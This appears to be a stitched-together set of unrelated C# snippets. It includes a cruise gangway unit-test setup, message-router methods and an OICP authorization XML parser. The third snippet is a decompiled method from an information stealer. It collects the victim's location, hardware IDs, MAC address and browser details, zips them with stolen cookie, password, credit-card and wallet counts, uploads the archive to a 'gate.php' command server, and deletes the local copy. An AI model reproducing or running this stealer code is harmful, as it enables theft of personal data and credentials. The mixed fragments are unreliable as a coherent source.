private void SetupData() { var guest = new GangwayService.Entity.Guest { CruiseDetail = new GuestCruiseDetail { ////IsVip = false, IsPrimary = false, Stateroom = "1", StateroomCategoryTypeId = "A", ReservationStatusId = "1001", ReservationNumber = "111", ReservationId = "3", LoyaltyLevelTypeId = "8", BeaconId = "212", HasRecovery = true, CanDebarkAlone = false, StateroomOccupancy = "5" }, PersonalDetail = new PersonalDetail { FirstName = "Robert", Gender = Gender.Male, Birthdate = DateTime.Now, Suffix = "MR.", AnniversaryDate = DateTime.Now, BirthCountryId = "2", CitizenshipCountryId = "232", LastName = "Singh", MaritalStatus = "Single" }, GuestId = "600001", LastDateTime = DateTime.Now.AddMinutes(5), LastEvent = "True", SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23" }; var guest1 = new GangwayService.Entity.Guest { CruiseDetail = new GuestCruiseDetail { ////IsVip = false, IsPrimary = false, Stateroom = "121", StateroomCategoryTypeId = "A", ReservationStatusId = "1001", ReservationNumber = "111", ReservationId = "3", LoyaltyLevelTypeId = "8", BeaconId = "212", HasRecovery = true, CanDebarkAlone = false, StateroomOccupancy = "5" }, PersonalDetail = new PersonalDetail { FirstName = "Robert", Gender = Gender.Male, Birthdate = DateTime.Now, Suffix = "MR.", AnniversaryDate = DateTime.Now, BirthCountryId = "2", CitizenshipCountryId = "232", LastName = "Singh", MaritalStatus = "Single" }, GuestId = "600001", LastDateTime = DateTime.Now.AddMinutes(5), LastEvent = "True", SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23" }; var guest2 = new GangwayService.Entity.Guest { CruiseDetail = new GuestCruiseDetail { ////IsVip = false, IsPrimary = false, Stateroom = "2", StateroomCategoryTypeId = "A", ReservationStatusId = "1001", ReservationNumber = "111", ReservationId = "3", LoyaltyLevelTypeId = "8", BeaconId = "212", HasRecovery = true, CanDebarkAlone = false, StateroomOccupancy = "5" }, PersonalDetail = new PersonalDetail { FirstName = "Robert", Gender = Gender.Male, Birthdate = DateTime.Now, Suffix = "MR.", AnniversaryDate = DateTime.Now, BirthCountryId = "2", CitizenshipCountryId = "232", LastName = "Singh", MaritalStatus = "Single" }, GuestId = "600001", LastDateTime = DateTime.Now.AddMinutes(5), LastEvent = "True", SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23" }; var guest3 = new GangwayService.Entity.Guest { PersonalDetail = new PersonalDetail { FirstName = "Robert", Gender = Gender.Male, Birthdate = DateTime.Now, Suffix = "MR.", AnniversaryDate = DateTime.Now, BirthCountryId = "2", CitizenshipCountryId = "232", LastName = "Singh", MaritalStatus = "Single" }, GuestId = "600001", LastDateTime = DateTime.Now.AddMinutes(5), LastEvent = "True", SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23" }; var crew = new DataAccess.Entities.Crewmember { CrewmemberId = "212", CrewmemberTypeId = "21", EmployeeNo = "22", StateroomId = "1", PersonalDetail = new PersonalDetail { FirstName = "Robert" }, SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23", EmbarkDetail = new EmbarkDetail { AshoreDate = DateTime.Now, OnboardDate = DateTime.Now } }; var safetyDuty = new SafetyDuty { CrewmemberId = "212", SafetyRoleId = "1", EndDate = DateTime.Now, StartDate = DateTime.Now }; var accessCard = new AccessCard { AccessCardId = "1", AddedDate = DateTime.Now, AccessCardNumber = "1234", ExpiryDate = DateTime.Now.AddDays(1) }; crew.CrewmemberAccessCards.Add(accessCard); var identification = new Identification { DocumentTypeId = "1", Number = "12345" }; crew.Identifications.Add(identification); var crewMemberRole = new CrewmemberRole { RoleId = "1" }; crew.CrewmemberRoles.Add(crewMemberRole); crew.SafetyDuties.Add(safetyDuty); var visitor = new GangwayService.Entity.Visitor { HasAlert = true, PersonalDetail = new PersonalDetail { DepartmentId = "1", DepartmentName = "TesT", FirstName = "Robert", Gender = Gender.Male, DepartmentPOC = "Test" }, SecurityPhotoAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23", VisitorId = "22", VisitorTypeId = "21", VisitorInfo = new AdditionalInfo { CompanyName = "234dfgfd", ContactNumber = "23452456", VisitPurpose = "retsrt" } }; var portDebarkAuthorization = new PortDebarkAuthorization(); var alert = new Collection<GangwayService.Entity.Alert> { new GangwayService.Entity.Alert { AlertId = "12", AlertType = "2", Message = new Message { Description = "Test", ImageAddress = "http://172.26.248.122/ImagingMediaService/MediaItems/23", Subject = "Test" } } }; var message = new Collection<GangwayService.Entity.PersonMessage> { new GangwayService.Entity.PersonMessage { AddedBy = Environment.MachineName } }; var debarkAuthorizedPersonCollection = new DebarkAuthorizedPersonCollection { new DebarkAuthorizedPerson { PersonId = "22", PersonTypeId = "2" }, new DebarkAuthorizedPerson { PersonId = "600001", PersonTypeId = "2" } }; portDebarkAuthorization.AssignDebarkAuthorizedPersons(debarkAuthorizedPersonCollection); var portDebarkAuthorizations = new PortDebarkAuthorizationCollection { new PortDebarkAuthorization { CanDebarkAlone = true } }; guest.AssignAlerts(alert); guest.AssignMessages(message); visitor.AssignAlerts(alert); guest.AssignPortAuthorizations(portDebarkAuthorizations); this.guests.Add(guest); this.guests.Add(guest1); this.guests.Add(guest2); this.guests.Add(guest3); this.crewmembers.Add(crew); this.visitors.Add(visitor); var guestList = new ListResult<GangwayService.Entity.Guest>(); guestList.AssignItems(this.guests); guestList.TotalResults = this.guests.Count; var crewList = new ListResult<DataAccess.Entities.Crewmember>(); crewList.AssignItems(this.crewmembers); crewList.TotalResults = this.crewmembers.Count; var visitorList = new ListResult<GangwayService.Entity.Visitor>(); visitorList.AssignItems(this.visitors); visitorList.TotalResults = this.visitors.Count; this.personRepository.Setup(data => data.RetrieveGuest(It.IsAny<PersonSearchParameter>())).Returns(Task.FromResult(guestList)); this.personRepository.Setup(data => data.RetrieveCrew(It.IsAny<PersonSearchParameter>())).Returns(Task.FromResult(crewList)); this.personRepository.Setup(data => data.RetrieveVisitor(It.IsAny<PersonSearchParameter>())).Returns(Task.FromResult(visitorList)); }
/// <summary> /// Removes the specified service. /// </summary> /// <param name="service">The service.</param> public void Remove(Identification service) { }
/// <summary> /// Replies the specified service. /// </summary> /// <param name="service">The service.</param> /// <param name="priority">The priority.</param> /// <param name="serializedMessage">The serialized message.</param> public void Reply(Identification service, int priority, byte[] serializedMessage) { if (_subcriptorsList.ContainsKey(service)) { _subcriptorsList[service].Send(serializedMessage, priority); } }
// Token: 0x0600016D RID: 365 RVA: 0x000091BC File Offset: 0x000073BC public static void Info(string dir) { object obj = 0; foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("Select * from Win32_ComputerSystem").Get()) { obj = managementBaseObject["NumberOfLogicalProcessors"]; } string id = Identification.GetId(); string str = Hardware.Define_windows(); string value; using (WebResponse response = WebRequest.Create("http://ip-api.com/line/?fields").GetResponse()) { using (StreamReader streamReader = new StreamReader(response.GetResponseStream())) { value = streamReader.ReadToEnd(); } } using (StreamWriter streamWriter = new StreamWriter(Path.GetTempPath() + "\\R725K54.tmp")) { streamWriter.WriteLine(value); } string[] array = File.ReadAllLines(Path.GetTempPath() + "\\R725K54.tmp", Encoding.Default); byte[] array2 = Convert.FromBase64String("aguidthatIgotonthewire=="); Array.Reverse(array2, 0, 4); Array.Reverse(array2, 4, 2); Array.Reverse(array2, 6, 2); Guid guid = new Guid(array2); using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor")) { object obj2 = 0; using (ManagementObjectSearcher managementObjectSearcher2 = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_NetworkAdapterConfiguration")) { object obj3 = 0; foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher2.Get()) { obj3 = ((ManagementObject)managementBaseObject2)["MACAddress"]; } foreach (ManagementBaseObject managementBaseObject3 in managementObjectSearcher.Get()) { obj2 = ((ManagementObject)managementBaseObject3)["Name"]; } object obj4 = 0; using (ManagementObjectSearcher managementObjectSearcher3 = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController")) { foreach (ManagementBaseObject managementBaseObject4 in managementObjectSearcher3.Get()) { obj4 = ((ManagementObject)managementBaseObject4)["Caption"]; } } using (ManagementObjectSearcher managementObjectSearcher4 = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMemory")) { int num = 1; foreach (ManagementBaseObject managementBaseObject5 in managementObjectSearcher4.Get()) { ManagementObject managementObject = (ManagementObject)managementBaseObject5; num++; } int num2 = 0; using (StreamWriter streamWriter2 = new StreamWriter(dir + "\\information.log")) { streamWriter2.WriteLine(string.Concat(new string[] { Settings.name, " ", Settings.Stealer_version, " ", Settings.coded })); streamWriter2.WriteLine(" "); streamWriter2.WriteLine("IP : " + array[13]); streamWriter2.WriteLine("Country Code : " + array[2]); streamWriter2.WriteLine("Country :" + array[1]); streamWriter2.WriteLine("State Name : " + array[4]); streamWriter2.WriteLine("City :" + array[5]); streamWriter2.WriteLine("Timezone :" + array[9]); streamWriter2.WriteLine("ZIP : " + array[6]); streamWriter2.WriteLine("ISP : " + array[10]); streamWriter2.WriteLine("Coordinates :" + array[7] + " , " + array[8]); streamWriter2.WriteLine(" "); streamWriter2.WriteLine("Username : "******"PCName : " + Environment.MachineName); TextWriter textWriter = streamWriter2; string str2 = "UUID : "; Guid guid2 = guid; textWriter.WriteLine(str2 + guid2.ToString()); streamWriter2.WriteLine("HWID : " + id); streamWriter2.WriteLine("OS : " + str); streamWriter2.WriteLine("CPU : " + ((obj2 != null) ? obj2.ToString() : null)); streamWriter2.WriteLine("CPU Threads: " + ((obj != null) ? obj.ToString() : null)); streamWriter2.WriteLine("GPU : " + ((obj4 != null) ? obj4.ToString() : null)); streamWriter2.WriteLine("RAM :" + num.ToString() + " GB"); streamWriter2.WriteLine("MAC :" + ((obj3 != null) ? obj3.ToString() : null)); streamWriter2.WriteLine("Screen Resolution :" + Screen.PrimaryScreen.Bounds.Width.ToString() + "x" + Screen.PrimaryScreen.Bounds.Height.ToString()); streamWriter2.WriteLine("System Language : " + CultureInfo.CurrentUICulture.DisplayName); streamWriter2.WriteLine("Layout Language : " + InputLanguage.CurrentInputLanguage.LayoutName); streamWriter2.WriteLine("PC Time : " + DateTime.Now.ToString()); streamWriter2.WriteLine("Browser Versions"); if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe")) { object value2 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null); if (value2 != null) { num2++; streamWriter2.WriteLine("Mozilla Version: " + FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion); } else { num2++; value2 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null); streamWriter2.WriteLine("Mozilla Version: " + FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion); } } if (Directory.Exists(Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data")) { object value3 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null); if (value3 != null) { num2++; streamWriter2.WriteLine("Chrome Version:" + FileVersionInfo.GetVersionInfo(value3.ToString()).FileVersion); } else { num2++; value3 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null); streamWriter2.WriteLine("Chrome Version:" + FileVersionInfo.GetVersionInfo(value3.ToString()).FileVersion); } } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Web Data")) { string text = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Classes\\Applications\\opera.exe\\shell\\open\\command", "", null).ToString(); string fileVersion = FileVersionInfo.GetVersionInfo(text.Remove(text.Length - 6, 6).Remove(0, 1)).FileVersion; string str3 = string.Empty; string empty = string.Empty; if (fileVersion.Split(new char[] { '.' }).First <string>().Equals("54")) { str3 = "67.0.3396.87"; } if (fileVersion.Split(new char[] { '.' }).First <string>().Equals("55")) { str3 = "68.0.3440.106"; } if (fileVersion.Split(new char[] { '.' }).First <string>().Equals("56")) { str3 = "69.0.3497.100"; } if (fileVersion.Split(new char[] { '.' }).First <string>().Equals("57")) { str3 = "70.0.3538.102"; } num2++; streamWriter2.WriteLine("Opera Version: " + str3); } if (num2 == 0) { streamWriter2.WriteLine("Popular Browsers Not Found!"); } streamWriter2.Close(); } } } } ZipFile.CreateFromDirectory(dir, string.Concat(new string[] { Path.GetTempPath(), "\\", array[1], "_", array[13], "_", id, ".zip" })); try { new WebClient().UploadFile(Settings.Url + string.Format("gate.php?id={0}&wlt={1}&cki={2}&pwd={3}&cc={4}&frm={5}&hwid={6}", new object[] { 1, Crypto.count, GetCookies.CCookies, GetPasswords.Cpassword, Get_Credit_Cards.CCCouunt, Get_Browser_Autofill.AutofillCount, id }), "POST", string.Concat(new string[] { Path.GetTempPath(), "\\", array[1], "_", array[13], "_", id, ".zip" })); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } File.Delete(string.Concat(new string[] { Path.GetTempPath(), "\\", array[1], "_", array[13], "_", id, ".zip" })); }
/// <summary> /// Unsubscribes the specified type. /// </summary> /// <param name="type">The type.</param> /// <param name="service"></param> /// <param name="sender">The sender.</param> public void Unsubscribe(SubscriptionKey type, Identification service, IOutputGateway<byte[]> sender) { bool lockTaken = false; _lockSubcriptorsList.Enter(ref lockTaken); if (lockTaken) { try { if (_subcriptorsList.ContainsKey(service)) { _subcriptorsList.Remove(service); } } catch (Exception exception) { LoggerManager.Instance.Error(string.Format("Error al añadir suscriptor {0}", service.Id), exception); } finally { LoggerManager.Instance.Info(string.Format("Se libera el lock {0}", service.Id)); _lockSubcriptorsList.Exit(); } } _gatewaysRepository.RemoveSender(type, service, sender); }
/// <summary> /// Try to parse the given XML representation of an OICP authorize stop request. /// </summary> /// <param name="AuthorizeStopXML">The XML to parse.</param> /// <param name="AuthorizeStop">The parsed authorize stop request.</param> /// <param name="CustomAuthorizeStopRequestParser">A delegate to customize the deserialization of AuthorizeStop requests.</param> /// <param name="CustomIdentificationParser">A delegate to parse custom Identification XML elements.</param> /// <param name="CustomRFIDIdentificationParser">A delegate to parse custom RFID identification XML elements.</param> /// <param name="OnException">An optional delegate called whenever an exception occured.</param> /// /// <param name="Timestamp">The optional timestamp of the request.</param> /// <param name="CancellationToken">An optional token to cancel this request.</param> /// <param name="EventTrackingId">An optional event tracking identification for correlating this request with other events.</param> /// <param name="RequestTimeout">An optional timeout for this request.</param> public static Boolean TryParse(XElement AuthorizeStopXML, out AuthorizeStopRequest AuthorizeStop, CustomXMLParserDelegate <AuthorizeStopRequest> CustomAuthorizeStopRequestParser = null, CustomXMLParserDelegate <Identification> CustomIdentificationParser = null, CustomXMLParserDelegate <RFIDIdentification> CustomRFIDIdentificationParser = null, OnExceptionDelegate OnException = null, DateTime?Timestamp = null, CancellationToken?CancellationToken = null, EventTracking_Id EventTrackingId = null, TimeSpan?RequestTimeout = null) { try { if (AuthorizeStopXML.Name != OICPNS.Authorization + "eRoamingAuthorizeStop") { AuthorizeStop = null; return(false); } AuthorizeStop = new AuthorizeStopRequest( AuthorizeStopXML.MapValueOrFail(OICPNS.Authorization + "OperatorID", Operator_Id.Parse), AuthorizeStopXML.MapValueOrFail(OICPNS.Authorization + "SessionID", Session_Id.Parse), AuthorizeStopXML.MapElementOrFail(OICPNS.Authorization + "Identification", (xml, e) => Identification.Parse(xml, CustomIdentificationParser, CustomRFIDIdentificationParser, e), OnException), AuthorizeStopXML.MapValueOrNullable(OICPNS.Authorization + "EvseID", EVSE_Id.Parse), AuthorizeStopXML.MapValueOrNullable(OICPNS.Authorization + "CPOPartnerSessionID", CPOPartnerSession_Id.Parse), AuthorizeStopXML.MapValueOrNullable(OICPNS.Authorization + "EMPPartnerSessionID", EMPPartnerSession_Id.Parse), Timestamp, CancellationToken, EventTrackingId, RequestTimeout ); if (CustomAuthorizeStopRequestParser != null) { AuthorizeStop = CustomAuthorizeStopRequestParser(AuthorizeStopXML, AuthorizeStop); } return(true); } catch (Exception e) { OnException?.Invoke(DateTime.UtcNow, AuthorizeStopXML, e); AuthorizeStop = null; return(false); } }
/// <summary> /// Unsubscribes the specified message type. /// </summary> /// <param name="messageType">Type of the message.</param> /// <param name="service"></param> /// <param name="outputGateway">The message sender.</param> public void Unsubscribe(SubscriptionKey messageType, Identification service, IOutputGateway<byte[]> outputGateway) { _routerOutputHelper.Unsubscribe(messageType, service, outputGateway); }